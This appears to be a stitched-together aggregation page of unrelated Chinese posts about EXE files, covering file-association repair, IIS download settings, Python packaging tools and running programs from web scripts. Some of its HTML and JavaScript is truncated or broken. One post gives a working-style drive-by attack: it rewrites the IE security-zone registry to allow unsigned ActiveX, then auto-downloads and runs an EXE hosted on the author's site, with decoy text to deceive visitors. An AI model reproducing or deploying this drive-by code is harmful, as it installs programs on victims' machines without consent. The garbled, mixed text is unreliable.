精华内容
下载资源
问答
  • 事由:与好友QQ聊天顺手把一个doc文档的后缀名改为.exe发给他了,然后他点击了之后莫名其妙的用记事本打开了,之后电脑上的应用程序全都变成记事本图标。所有的应用程序都启动不了....... 更可怕的是什么cmd命令行都...

    事由:与好友QQ聊天顺手把一个doc文档的后缀名改为.exe发给他了,然后他点击了之后莫名其妙的用记事本打开了,之后电脑上的应用程序全都变成记事本图标。所有的应用程序都启动不了.......

    更可怕的是什么cmd命令行都用不了......想改注册表都不行了.........

    一番搜索之后发现神器PC_hunter(下载链接http://www.xuetr.com/)

    将这个程序(有32位和64位不同版本)后缀名改为.com(因为现在exe已经运行不了),双击运行之后选择"系统杂项"

    如下图


    右键选择"修复所有"

    但是在哥们的电脑上竟然没有exefile这一项......无论怎么修复都不行........

    这个神器在自带注册表编辑功能:(选择"注册表")


    展开HKEY_CLASSES_ROOT\exefile\shell\open

    本来open下面应该还有一项“command”但是没有发现。

    于是在open右键"新建"->“项”


    输入"command"即可新建一个command项

    然后在右边"数据"中输入"%1"空格%*

    重启电脑就行啦!

    展开全文
  • IIS7.5设置允许下载.exe文件解决方法

    千次阅读 2015-04-25 15:02:07
    没安装的用户计算机会提示下载安装程序,但是下载exe文件时,出现错误 401 - 未授权: 由于凭据无效,访问被拒绝。 解决办法: 1.设置MIME,让IIS支持更多文件类型,如果MIME类型中已经有.exe,这一步可以...

    网页需要打印功能,使用了lodop打印控件,需要用户计算机安装。没安装的用户计算机会提示下载安装程序,但是下载exe文件时,出现错误

    401 - 未授权: 由于凭据无效,访问被拒绝。

    解决办法:

    1.设置MIME,让IIS支持更多文件类型,如果MIME类型中已经有.exe,这一步可以跳过。

    打开IIS,选中服务器,点右键,属性里有MIME类型
    添加扩展名:.exe
    类型:application/octet-stream

    2、设置一下网站执行权限

    (1)双击“处理程序映射”;

    (2)单击右边栏的“编辑功能权限”;


    将执行的勾去掉,OK,可以下载了

    注:

    选中“读取”可启用需要对虚拟目录具有读取访问权限的处理程序,清除“读取”可禁用需要对虚拟目录具有读取访问权限的处理程序。

    选中“脚本”可启用需要对虚拟目录具有脚本权限的处理程序,清除“脚本”可禁用需要对虚拟目录具有脚本权限的处理程序。

    选中“执行”可启用需要对虚拟目录具有执行权限的处理程序,清除“执行”可禁用需要对虚拟目录具有执行权限的处理程序。 只有当“脚本”处于选中状态时,“执行”选项才启用。




    展开全文
  • asp调用打开exe文件

    千次阅读 2009-02-11 09:30:00
    让IE6.0执行EXE文件的网页 说到要做一个让网页让IE6.0浏览的时候来执行空间下的一个EXE文件的方法要和以前写过的5.0的方法是完全不一样的了,5.0的总体思路是用一个HTML的文件带动一 个有错误开头的EML文件,让IE无...

       让IE6.0执行EXE文件的网页    
           
      说到要做一个让网页让IE6.0浏览的时候来执行空间下的一个EXE文件的方法要和以前写过的5.0的方法是完全不一样的了,5.0的总体思路是用一个HTML的文件带动一    
       
      个有错误开头的EML文件,让IE无条件的执行EML中的附件,可是当我们把IE升级到6.0的时候,再打开这个页面我们会发现WINDOWS会出现一个打开方式的界面,所以我们    
       
      前面做的针对IE5.0的是无效的。    
       
      下面我们来看看怎么让6.0来执行我们空间的同路径下的一个EXE文件,方法大致是当用户开启第一个HTML的页面时,通过恶意的HTML代码把IE安全级别里的默认的    
       
      “禁用下栽未签名的ActiveX控件”选项,变为“启用下栽未签名的ActiveX控件”,然后马上打开第二个HTML的文件内容是下载一个未签名的ActiveX控件,实质就是我们    
       
      所要执行的EXE文件,好了,下面我们来说说具体的制作步骤。    
       
      【第一步】建立一个1.HTM的文件,内容如下:    
       
       
       
       
       
       
      <SCRIPT>    
      document.write("");    
      function   f(){    
      try    
      {    
      //ActiveX   initialization    
      a1=document.applets[0];    
      a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");    
      a1.createInstance();    
      Shl   =   a1.GetObject();    
      a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");    
      a1.createInstance();    
      FSO   =   a1.GetObject();    
      a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");    
      a1.createInstance();    
      Net   =   a1.GetObject();    
      try    
      {    
      if   (documents.cookie.indexOf("Chg")   ==   -1)    
      {    
      Shl.RegWrite   ("HKCU//Software//Microsoft//Windows//CurrentVersion//Internet   Settings//Zones//3//1004",0,"REG_DWORD");    
      var   expdate   =   new   Date((new   Date()).getTime()   +   (1));    
      documents.cookie="Chg=general;   expires="   +   expdate.toGMTString()   +   ";   path=/;"    
      }    
      }    
      catch(e)    
      {}    
      }    
      catch(e)    
      {}    
      }    
      function   init()    
      {    
      setTimeout("f()",   1000);    
      }    
      init();    
       
       
      <script   language="javascript">    
       
       
       
       
      这里需要说明的是,其中“window.open('http://xiaomutou.diy.163.com/2.htm','colortext')”中的“http://xiaomutou.diy.163.com/2.htm”要改为你自己的    
       
      主页空间的路径,其中“setTimeout("opencolortext()",1500)”的“1500”是延时1.5秒中之后打开我们一会将要做的2.HTM文件。好,我们现在就来做这个2.HTM文    
       
      件,内容如下:    
       
       
       
       
      <SCRIPT   language=javascript>    
      run_exe=""    
      run_exe+="    
      ";    
      document.open();    
      document.clear();    
      document.writeln(run_exe);    
      document.close();    
       
       
       
       
       
      论坛连接中请勿终断....    
       
       
       
       
       
       
       
       
       
      说明,代码中“run_exe+="CODEBASE=/"3.exe#version=1,1,1,1/">"   ”的“3.EXE”就是IE将来要执行的同路径下你的EXE文件    
       
      至于论坛连接中请勿终断,完全是迷惑对方的你自己可以变成自己的话。    
       
      好了现在将我们做的1.HTM、2.HTM和自己要对方执行的EXE文件一并上传到自己的主页空间下。    
       
      现在就让我们用IE6.0来直接浏览这个1.HTM的文件吧,当打开这个页面的1-2秒后应该自动打开另一个空白的页面,紧接着你的EXE文件将被执行,注意所放的EXE文件不要    
       
      过大,最好能控制在100K之内

     

     

     

     

     

    ===============================================

     

    给个例子:  
      直接调用windows中的画图板,其他的类似。  
      <script   language="vbscript">  
      DIM   objShell  
      Set   objShell=CreateObject("WScript.Shell")  
      objShell.Run   "%SystemRoot%/System32/mspaint.exe",1,FALSE  
      Set   objShell   =   Nothing  
      </script>  

     

     

     

     

    如果是注册组件的话,可用下列的方法:  
      regsvr32   dllname

     

     

     

     

    <html>  
      <head>  
      <meta   http-equiv="Content-Type"   content="text/html;   charset=gb2312">  
      <style>  
      <!--  
      body,   table,   p,   td,   div,select   {   font:menu}  
      .button   {boder:0;   HEIGHT:   20px;width:60px;cursor:hand;font:menu}  
      -->  
      </style>  
      </head>  
       
      <body>  
      <SCRIPT   language=JavaScript>  
      function   Run(strPath)   {  
      exe.value=strPath;  
      try   {  
      var   objShell   =   new   ActiveXObject("wscript.shell");  
      objShell.Run(strPath);  
      objShell   =   null;  
      }  
      catch   (e){alert('找不到文件"'+strPath+'"(或它的组件之一)。请确定路径和文件名是否正确,而且所需的库文件均可用。')  
       
      }  
      }  
      </SCRIPT>  
      请输入要运行的程序:<br/><input   name=exe   type=text   size=20   value="regedit">  
      <BUTTON   class=button   οnclick="Run(exe.value)">确定</BUTTON>  
      <BUTTON   class=button   οnclick=exe.value="";>重新输入</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('notepad')">记事本</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('mspaint')">画图板</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('calc')">计算器</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('cmd')">cmd</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('Regedit')">Regedit</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('Msconfig')">Msconfig</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('IEXPLORE.EXE')">IE</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('..')">..</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('%windir%')">%windir%</BUTTON><br/>  
      <BUTTON   class=button   οnclick="Run('%temp%')">%temp%</BUTTON><br/>  
      <div   style="position:   absolute;   bottom:   10;   left:   0;   width:   150;   height:   18;cursor:hand;z-index:100000;font:menu;background:infobackground;border:1   solid   #999999;padding:4px;">  
      <input   type="button"   name="Button"   value="源代码"   onClick=   'window.location   =   "view-source:"   +   window.location.href'>  
      </div>  
      </p>  
      </body>  
       
      </html>    

     

    ===================================================================

     

     

    用下面的代码,并把文件保存为*.hta后缀名  
       
      <body   οnlοad="window.opener=null;window.close();">  
      </body>  
      <script   language="VBScript">  
      Dim   WSHShell  
      Set   WSHShell   =   CreateObject("WScript.Shell")  
      WSHShell.run("c:/1.exe")  
      </script>  

     

     

    ==================================================================

     

    WSH初步    
      下面,我们来看看一些WSH的初步实例,其中每个实例可以实现一个简单的功能,在我们了解每个实例的功能后,我们会把这些例子综合成一个非常实用的脚本,帮助你实现实用、个性化的强大功能。    
      1.在桌面创建快捷方式    
      WSHShell   =   WScript.CreateObject("WScript.Shell");    
      DesktopPath   =   WSHShell.SpecialFolders("Desktop");    
      Shortcut1   =   WSHShell.CreateShortcut(DesktopPath   +   "//记事本快捷方式.lnk");    
      Shortcut1.TargetPath   =   "c://Windows//notepad.exe";    
      Shortcut1.Save();    
      其中SpecialFolders这个函数是用来读取桌面路径的,取得桌面路径后,在桌面上创建一个"/记事本快捷方式.lnk"的文件,并将这个快捷方式文件的目标指向Notepad.exe,最后将这些信息保存,这个脚本的工作就完成了。                        
       
      2.执行特定的命令    
      下列这个示例会用记事本打开"   C:/autoexec.bat"文件,并开启   DOS   命令窗口(并列出执行   dir   c:/Windows   的结果),程序代码如下:    
       
      //   产生   WSH   Shell    
      shell   =   WScript.CreateObject("WScript.Shell");    
       
      //   开启记事本并加载   c:/autoexec.bat    
      shell.Run("notepad.exe   c://autoexec.bat");    
       
      //   开启   DOS   命令窗口并执行   dir   c:/Windows    
      shell.Run("cmd   /K   dir   c://Windows");    
       
       
      在上述范例中,所开启的应用程序会保持开启状态,而   WSH   会持续执行其后的程序代码。若要等待应用程序被关闭后,才继续执行其后的   WSH   程序代码,可以在   run()   之后再加上其它参数。如我们需要在关闭Notepad后再继续执行,应该怎么办呢?    
       
      //   如何由   WSH   执行其它应用程序,并等待应用程序结束后才继续执行   WSH   程序代码    
      shell   =   new   ActiveXObject("WScript.Shell");    
      intReturn   =   shell.Run("notepad   "   +   WScript.ScriptFullName,   1,   true);    
      shell.Popup("记事本已经被关闭!");    

     

    ==============================================================

     

     

    <SCRIPT   LANGUAGE="VBScript">  
      Set   objShell   =   CreateObject("Wscript.Shell")  
      strCommand   =   "C:/1.exe"  
      objShell.Run   strCommand,   0,   True  
      </SCRIPT>

     

     

    =========================================================

     

    chr(34)是加双引号,给path加上后就可以直接启动exe文件了。包含空格的也可以打开。  
      <SCRIPT   LANGUAGE="VBScript">  
      Set   objShell   =   CreateObject("Wscript.Shell")  
      strCommand   =   chr(34)   &   "C:/Program   Files/EditPlus   2/editplus.exe"   &   chr(34)  
      objShell.Run   strCommand,   0,   True  
      </SCRIPT>  
       
      如果这样你打不开,可能你ie设置启用activeX禁止。  
       
      strCommand   =   "sndrec32   /play   /close   "   &   chr(34)   &   strSoundFile   &   chr(34)  
      里面的sndrec32   是window自带的录音机   ,然后用它启动后面的path为strSoundFile   的文件。  
       
      普通的exe文件就用  
      <SCRIPT   LANGUAGE="VBScript">  
      Set   objShell   =   CreateObject("Wscript.Shell")  
      strCommand   =   chr(34)   &   "C:/Program   Files/EditPlus   2/editplus.exe"   &   chr(34)  
      objShell.Run   strCommand,   0,   True  
      </SCRIPT>  

     

     

     

     

     

    展开全文
  • Python打包exe文件方法汇总【4种】

    万次阅读 多人点赞 2018-10-21 22:15:11
    title: Python打包exe文件方法 copyright: true top: 0 date: 2018-08-11 21:08:21 tags: 打包 categories: Python进阶笔记 permalink: password: keywords: description: 使用py2exe,pyinstaller,cx_Freeze,...

    title: Python打包exe文件方法
    copyright: true
    top: 0
    date: 2018-08-11 21:08:21
    tags: 打包
    categories: Python进阶笔记
    permalink:
    password:
    keywords:
    description: 使用py2exe,pyinstaller,cx_Freeze,nuitka对python文件进行打包,尝试进行混淆代码。

    “乔治是世界上最后一只平塔岛象龟,而我是世界上最后一个源家后裔,最后一只平塔岛象龟应该为了种族不灭努力地繁殖后代,最后一个源家后裔应该重振家族在黑道中的威望,但是乔治只是想回自己的水坑里去打滚,而我只是想去天体海滩上卖防晒油。”源稚生盯着恺撒的眼睛,“我就是这种人,其实蛇岐八家的黑道事业和秘党的使命对我来说都不重要,我的人生理想就是去卖防晒油。我跟你叔叔不是一种人。”

    Python作为解释型语言,发布即公开源码,虽然是提倡开源但是有些时候就是忍不住想打包成exe,不仅仅是为了对代码进行加密,而是为了跨平台。防止有些没有安装py环境的电脑无法运行软件。

    目录对python代码打包成exe的方式有4种,py2exe,pyinstaller,cx_Freeze,nuitka,分别对以上4种方法介绍,欢迎纠错和提供新的办法。

    py2exe

    介绍

    py2exe是一个将python脚本转换成windows上的可独立执行的可执行程序(*.exe)的工具,这样,你就可以不用装python而在windows系统上运行这个可执行程序。

    优点:

    1. 可以把python打包成exe

    缺点:

    1. 打包好的 exe只能在相同的系统下运行,比如你在XP系统用py2exe打包好的exe只能在XP上运行,在win7上肯定有问题,而且也是存在在别的XP机子上也可能不能运行,因为一些别的机子可能会缺少dll文件什么的,作者我当时之所以抛弃py2exe 也是因为这个原因;

    2. 打包的文件也需要打包同exe下的dll,和一些库的压缩包,不然exe根本跑不起来

    3. 打包时候报始终报RuntimeError: BeginUpdateResource错误,就需要拷贝dll文件。C:\WINDOWS\system32\python27.dll复制到dist目录

    4. 总之毛病一大堆,基本上已经舍弃了

    使用

    下载地址

    安装好后,准备进行打包

    准备一个文件x.py,这个x.py就是想要打包成exe。

    然后这x.py同目录下新建一个setup.py,内容如下:

    #coding=utf-8
    from distutils.core import setup
    import py2exe
    includes = ["encodings", "encodings.*"]
    #要包含的其它库文件
    options = {"py2exe":
      {
        "compressed": 1, #压缩
        "optimize": 2,
        "ascii": 1,
        "includes": includes,
        "bundle_files": 1 #所有文件打包成一个exe文件
      }
    }
    setup (
      options = options,
      zipfile=None,  #不生成library.zip文件
      console=[{"script": "x.py", "icon_resources": [(1, "Q.ico")] }]#源文件,程序图标
    )
    

    然后这cmd窗口下运行:

    python setup.py py2exe
    

    py2exe使用方法 (含一些调试技巧,如压缩email 类)

    pyinstaller

    PyInstaller除了win32平台外还支持Linux,Unix平台.py2exe的用法在前面的博文里已经有了,现在看看PyInstaller,pyinstaller是目前应用最多的python打包工具,也是我最常用的。

    PyInstaller本身并不是Python模块,所以安装时随便放在哪儿都行。

    优点:

    1. 可将python文件转成可执行文件
    2. 跨平台
    3. 输出的可以是单一目录,也可以是一个单独的打好包的可执行文件。py2exe貌似输出目录。
    4. 智能支持python的第三方模块如PyQt,外部数据文件等
    5. 支持EGG格式文件
    6. 可执行文件可以用UPX压缩,二进制压缩方式
    7. 支持控制台和视窗两种方式。
    8. 可以选择exe文件的图标 (Windows only)
    9. 支持 COM server (Windows only)

    缺点:

    1. import导入的问题

    pyinstaller是很智能的,只要指定了入口py文件,那么它就会根据代码自动查找需要导入的包。但是隐式导入的话,平常运行是没有问题的,举例:

    # test1.py
    from sqlalchemy import create_engine
    from sqlalchemy.orm import sessionmaker
     
     
    DB_CONNECT_STRING = 'mysql+pymysql://root:123456@localhost/study'
    engine = create_engine(DB_CONNECT_STRING, echo = False)
    DB_Session = sessionmaker(bind = engine)
    session = DB_Session()
     
    print('this is my test')
    

    运行这个ORM库的初始化引擎,是没有问题的,在console得到结果:
    this is my test

    那么我们开始打包,使用最简单的pyinstaller test1.py。打包完成后,在当前目录下有个dist文件夹,进入dist下的test1文件夹,然后打开cmd,运行这个exe,我们就会发现:

    提示: no model named ‘pymysql’

    这是怎么回事呢?那么问题来了,sqlalchemy这个库在初始化的时候是不需要显示导入引擎库的,它自己有一个create_engine()的函数来初始化,这个字符串是使用者根据规则来自己填写的。其实解决的方法很简单,我们只要在显式导入pymysql这个库即可。现在我们导入这个库:

    import pymysql
    

    重新打包一遍(重新打包的时候记得删除掉spec文件,否则会有缓存,或者是加上–clean选项清除掉),再次运行,现在就没有这个问题了。

    1. 多进程打包的问题

    官方的CPython存在一个GIL锁,这个锁的存在有很多优点,很多库都是线程安全的,单线程执行的效率也高。在python早期的一个版本中取消掉了GIL,代之以高粒度的锁来实现多线程,但是实际应用中单个线程的效率大大降低。故后来又将GIL这个锁还原回去,所以至今的python2也好还是python3中都会有这个锁。但是这个锁有很大一个问题,那就是效率问题,它导致了python仅仅只能利用一个core来进行数据的计算。所以后面为了弥补这个GIL带来的问题,专家们设计了multiprocessing库,gevent库等。前一个是多进程库,为了解决python用于数据密集型处理的情况;后一个用于异步IO处理的情况,基本原理就是在CPU时钟之间来回切换,简单的例子就是爬虫程序爬取网页的时候。假如有10个url,我们都要去GET它,实际上网络之间的延迟是大大高于计算机内部的,那么这个时间内计算机就切换到下一个。

    有时候运用多进程是必须的,这个替代不了,哪怕它占用资源很多。

    使用

    安装:

    pip install pyinstaller
    

    使用方法(例子):

    pyinstaller -D -p F:\Python27\Lib -i logo.ico mian.py
    

    -D:打包成多个文件
    -p:指定python安装包路径
    -i:指定图标,我的图标放在同目录下
    mian.py:要打包的文件,和图标放在同目录下了

    -D与-F一一对应,-F是打包成一个单独的文件。最后一排加上–noconsole,就是无窗口运行。

    如果py程序是多进程的话,使用pyinstaller打包会出现错误,这个时候只要加上一行代码

    在:
    if name==‘mian’:
    #新增
    multiprocessing.freeze_support()

    即可

    有的时候你加上图片后打包会出错,这是因为图标里面的格式出错了,需要用图片编辑软件重新对图片内部大小进行设置,这个百度一下吧~

    如果要加密混淆代码(其实没有用,一样可以反编译出你的源代码,但是聊胜于无吧)

    加上一行 --key=asfweakjhfksafkasdkdbas随便几个字符串

    好像要安装依赖包,根据提示安装即可

    cx_Freeze

    python中比较常用的python转exe方法有三种,分别是cx_freeze,py2exe,PyInstaller。py2exe恐怕是三者里面知名度最高的一个,但是同时相对来说它的打包质量恐怕也是最差的一个。pyinstaller打包很好,但是操作工序较为复杂,推荐cx_freeze,可以通过pip install cx-freeze 安装。–这是别人的描述,其实我觉得pyinstaller其实挺简单的

    使用

    安装方法:

    1. 打开cmd,输入pip install cx-freeze 后,会发现在python的Scripts文件夹下生成了三个文件
    2. 然后在cmd中,切换到Scripts路径下,输入 python cxfreeze-postinstall,会发现Scripts文件夹下又多了.bat文件,此时已经安装成功
    3. 继续在cmd下尝试输入 cxfeeeze -h 验证下,显示成功。

    提示:直接通过 pip install cx-freeze 安装,仍然出现错误时(找不到文件),最好去官网:网址手动下载相应版本的cx-freeze文件,放在Scripts文件夹下,手动双击安装,然后再运行cxfreeze-postinstall。(例如:我的python版本是3.4.3,下载cx_Freeze-4.3.3.win-amd64-py3.4的文件。注意,版本不对无法安装!)

    在cxfreeze的安装目录下即\Python34\Scripts,添加一个文件cxfreeze.bat(可用记事本)cxfreeze.bat内容如下:

    @ echo off
    C:\Python34\python.exe C:\Python34\Scripts\cxfreeze %*
    

    在该目录下输入czfreeze -h也可以查看安装情况(用pip install cxfreeze就可直接安装改第三方库)

    打包方法

    打包文件时要在Scripts文件夹路径下操作,文件的路径最好是绝对路径。例如:将 G 盘的 hello.py 打包到 G 盘的 123文件夹下:cxfreeze g:\hello.py --taget-dir g:\123 或者 cxfreeze g:\hello.py --taget-dir g:\123 --base-name=Win32GUI。加上–base-name=Win32GUI可以在运行exe时去掉cmd黑框。

    具体操作:

    首先在命令提示符中使用cd命令转换到所需要转换的python文件的目录中,因为转换后的dist文件夹会出现在命令提示符的当前目录中

    然后输入:

    cxfreeze --init-script=C:\Users\tangc\Desktop\alien_invasion\alien_invasion.py alien_invasion.py
    
    --init-script=后接绝对路径
    

    如果你的程序中有图片等资源,是需要根据程序中的相对路径加入到dist文件中,也要在.exe同目录中加入images的文件夹(图片资源)

    如果原.py程序使用了图片等素材,并且添加图片是相对路径(同一个文件夹下可以不使用绝对路径),打包文件后,需要将图片等素材拷贝一份放在打包后的文件夹下,否则运行.exe程序会找不到图片素材。

    如果原.py程序使用图片添加的是绝对路径,在本地电脑上运行时可能不会发现错误。但是你将打包后的文件发给另一台机器,运行.exe程序会报错,大概意思是“根据你写的绝对路径找不到图片等素材”,即使你在文件夹下拷贝了素材,但是绝对路径也是错误的,所以,最好使用上一种方法。

    注意:

    • 只能指定一个要打包的模块,也就是启动模块

    • 发布后,可执行文件执行路径不能有中文(最好也不要有空格)

    • 启动执行的文件中不要有下面这种判断,否则可执行文件执行会没有任何效果

        if __name__=='__mian__':
      
    • 将exe放到其他机子上运行,弹出“找不到msvcr100.dll“ ,手动将”msvcr100.dll“拷贝到dist目录下即可

    • 要去掉exe里的后面黑色控制台窗口就在前面的命令改成:
      cxfreeze C:\Users\restartRemote.py (需打包文件路径) –target-dir D:\pyproject (存放exe的目标文件夹路径)–base-name=win32gui

    nuitka

    Nuitka直接将python编译成C++代码 ,再编译C++代码产生可执行文件,完全不存在反向解析的问题,非常安全,而且由于可执行文件由C++编译而来,运行速度也会获得提升。

    但是我在打包中发现了一个文件,那就是在另一台电脑上无法运行…并且实际编译时需要近20分钟,编译的时候cpu持续100%

    不过如果只是自己的电脑上运行的话,还是挺好使的

    官方文档

    注意nuitka对python的某些语法有专门要注意的地方

    下载地址

    下载完后会提示安装编译c++代码的软件,使用的是gcc

    安装好有会有一个MinGW64的文件夹,比如我要打包一个back.py的文件,把这个py文件放在哪个目录下,常用命令如下

    python -m nuitka --recurse-all --standalone cc.py
    
    python -m nuitka --standalone back.py
    
    # 可以用的打包方式
    python -m nuitka --recurse-all --recurse-plugins=F:\Python27\Lib --remove-output --plugin-enable=enum_compat back.py
    # 带图标并且有窗口
    python -m nuitka --recurse-all --recurse-plugins=F:\Python27\Lib --remove-output --icon=logo.ico --plugin-enable=enum_compat back.py
    # 不带窗口不带图标
    python -m nuitka --recurse-all --recurse-plugins=F:\Python27\Lib --remove-output --plugin-enable=enum_compat --windows-disable-console back.py
    
    # 不删除辅助文件夹
    python -m nuitka --recurse-all --recurse-plugins=F:\Python27\Lib --icon=logo.ico --plugin-enable=enum_compat back.py
    
    # 其他可运行
    
    
    python -m nuitka --recurse-all --recurse-plugins=F:\Python27\Lib --standalone --remove-output --icon=logo.ico --plugin-enable=enum_compat back.py
    

    在编译的时候大概要挺长时间,并且cpu持续暴涨。

    速度…感觉确实变快了点…

    代码混淆

    你可以自己写混淆器,虽然说是防君子不防小人,但是…罢了不提了…

    我使用的是一个在线的代码混淆器,猜测代码会上传到那个服务器上面,所以用或不用看你的需求了

    地址

    注意:代码规范符合python3

    欢迎关注公众号:【安全研发】获取更多相关工具,课程,资料分享哦~
    在这里插入图片描述

    展开全文
  • window2012 IIS8 配置网站下载exe文件。解决window2012 IIS8 配置的网站无法下载exe文件的问题 配置好网站后,无法下载网站上的exe文件,zip文件确可以下载的。右键点击EXE文件链接选择另存为后,提示文件无法下载...
  • Linux Ubuntu 打开.exe文件

    千次阅读 2014-01-12 13:01:04
    这两天在编译Android源码,进行到要在Linux里安装烧录软件那一步,要先装驱动,故了解了如何在linux下打开.exe文件。 .exe 文件在linux下不能直接打开,可有两种方式打开:、 1、 在Ubuntu下虚拟出windows 环境 或 2...
  • 使用了Mac系统之后,总会惦记着Windows系统的软件,无奈两个系统的程序文件不一样,所以也互不相通。为了让MacBook能够使用上Windows的应用...Mac如何打开exe文件 本教程需要使用crossover,点击这里下载。 1、然后安
  • MAC打开EXE文件的三大方法

    万次阅读 2015-05-05 08:34:52
    大家都知道,在Windows系统中打开EXE文件时非常容易的,只要直接打开就行了,但是在MAC系统中却不是这样。那么在MAC中如何打开EXE文件呢?现在让小编来教你几个打开的方法吧。  第一种方法:你可以下载一个Mac...
  • JLink.exe JFlash.exe batch文件一键下载

    千次阅读 2019-01-25 01:37:03
    在没有IDE的情况下,可以用 JFlash.exe ...本文中使用JFlash.exe JLink.exe下载的条件: Windows操作系统 所需文件 待编程的文件,hex bin或其他 存放Device Flash编程协议的文件,这里使用的是FLM文件 带JF...
  • 点击vue页面链接打开本地exe文件

    千次阅读 2019-09-25 16:43:26
    后来想一个折中的办法,点击菜单出一个带链接的页面(会提示将打开本地某exe应用),然后再点击此链接就直接打开了这个exe应用。勉勉强强应该是可以交付。 思路:在web网页中调用本地应用程序的思路...
  • 文件打开方式选择exe程序无效

    千次阅读 2013-02-27 17:21:17
    问题来源: Window7系统,有python写...于是新下载了python2.7,安装目录已经更改,但是文件名称还是原来的python.exe。 此时打开*.py文件就不能打开了,再次通过“右键”->"打开方式"->"选择默认程序"设置 打开方式
  • IIS设置允许下载.exe文件解决方法

    千次阅读 2014-04-09 09:27:32
    返现宝是.exe安装文件,部分服务器或主机可能无法下载。 第一、如果是自己服务器或VPS请按如下设置: 1.设置MIME,让IIS支持更多文件类型,如果MIME类型中已经有.exe,这一步可以跳过。 打开IIS,选中服务器,点...
  • 使用java代码打开任何格式的文件 public static void main(String[] args) throws IOException { openWindowsExe();... //用 Java 调用windows系统的exe文件,比如notepad,calc之类 public sta
  • exe文件更换图标方法

    万次阅读 2019-01-15 16:52:54
    想更换exe文件的默认图标,但又不想下载什么软件,在网上搜索后找到一种不需要下载特定软件的“欺骗法”。 注意:本方法并不是真的更换了exe文件的图标,而是为exe文件包装了一个壳子,使得外观上看起来更换了图标。...
  • Python进阶(四十七)-python3使用pyinstaller实现将py文件打包成exe文件前言  py文件通常需要运行在Python编程坏境中,而可执行exe文件更方便。   之前看过若干博文在python2环境下使用pyinstaller将py文件打包...
  • 将python文件打包成exe可运行文件

    万次阅读 多人点赞 2017-12-24 18:16:19
    目前有好几种方法可以将python文件打包成exe应用程序文件,例如py2exe,pyinstaller等,比较下来,还是觉得pyinstaller使用起来比较简单。 首先第一步下载安装pyinstaller, 如果已经安装过python3的用户比较方便...
  • Mac下载文件自动加上.exe后缀

    千次阅读 2015-02-23 23:43:22
    在windows下下载之后都是好好的,可是在Mac上下载之后,文件就莫名其妙的加上了.exe的后缀。虽然手动重命名文件去掉.exe之后文件还是能正常打开,但是,不是每个场合都有人去自动去掉后缀吧。 然后又是各种百度...
  • 下载了Hyperion并且把他编译成了exe文件,但是在Linux环境下无法直接打开。上网搜索得知要用wine来打开下载一波后报错, 试了http://www.itkeyword.com/doc/9850208115326896509/windows-module-linux 说的办法...
  • Python生成.exe文件(包含下载安装)

    万次阅读 2018-11-14 16:08:41
    python下载官网:https://www.python.org/downloads/windows/,我的电脑目前是装了win64的python3.5,需要说明的是,py2exe据说已经支持python2和3,但python3我没成功,不知道跟我的python3是win64有没关系,下次.....
  •   症状:  win7 所有EXE文件双击不能直接打开,而是弹出打开方式对话框,并且所有软件的图标都不显示,全是空白。   解决办法:  这是exe文件关联出现了问题,解决方法如下: 桌面...
  • java项目使用exe4j打包成exe文件

    万次阅读 2014-08-06 18:20:50
    java项目使用exe4j打包成exe文件 前言:我们都知道java是平台无关性,可以打包成jar文件,到任何操作系统有jre环境的电脑都可以允许!但是我们打包成exe文件就相当于舍弃了这一大优势,不过确实有需要打包成exe的...
  • 接下来来讲讲通过调用rundll32.exe打开一些系统特定文件,先简单介绍下rundll32.exe的功能和作用。 顾名思义,rundll32就是"执行32位的dll文件",也就是执行dll文件中的内部函数,可以以命令行的形式调用...
  • 引言 正常的情况下,我们双击安装在电脑的各种软件...window10系统下,鼠标双击不能打开桌面的应用程序,或者下载的.exe文件不能执行,或者说程序的快捷方式也不可以执行。 有一些软件可能需要管理员身份运行打开,...
  • QT打包生成exe文件

    千次阅读 2020-02-27 22:31:51
    QT打包生成exe文件
  • 下载了一个软件Restorator(资源修改器),填写完注册码之后,所有的exe文件都不能打开了,任务管理器不支持此接口打不开。
  • py文件和exe文件转换

    千次阅读 2018-09-13 10:13:08
    py文件打包成exe文件 参考看 https://blog.csdn.net/qq_33878426/article/details/80102229 1.查了许多资料后知道pyinstall对python3.6支持不够好,可以用开发板的pyinstall来解决问题。下载地址:...
  • 在Windows XP下,打开一个文件夹,点“工具”—“文件夹选项”—“文件类型”,找到你想要改变打开方式的文件类型,然后点“高级”—“编辑”—“浏览”,选择你要用来打开文件类型的程序,最后...
  • Scratch 3的作品(sb3格式的文件)怎么生成可执行exe文件  Scratch 3.0界面如下:   【新版特征】  与以前2.0版本不同,Scratch3.0版本使用H5和JS语言编写,打破了电脑端和移动端的壁垒,有望在后期实现...
  • 最近参加了GGJ 2020,最后提交Realease可玩程序时,在UE4中打包项目成功打包,但是得到的exe打开一直没反应打不开,不弹出游戏。最后找到了问题所在: 最初项目名为GameJam.uproject,结果想把项目名字改成游戏名,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 267,534
精华内容 107,013
关键字:

下载的exe文件怎么打开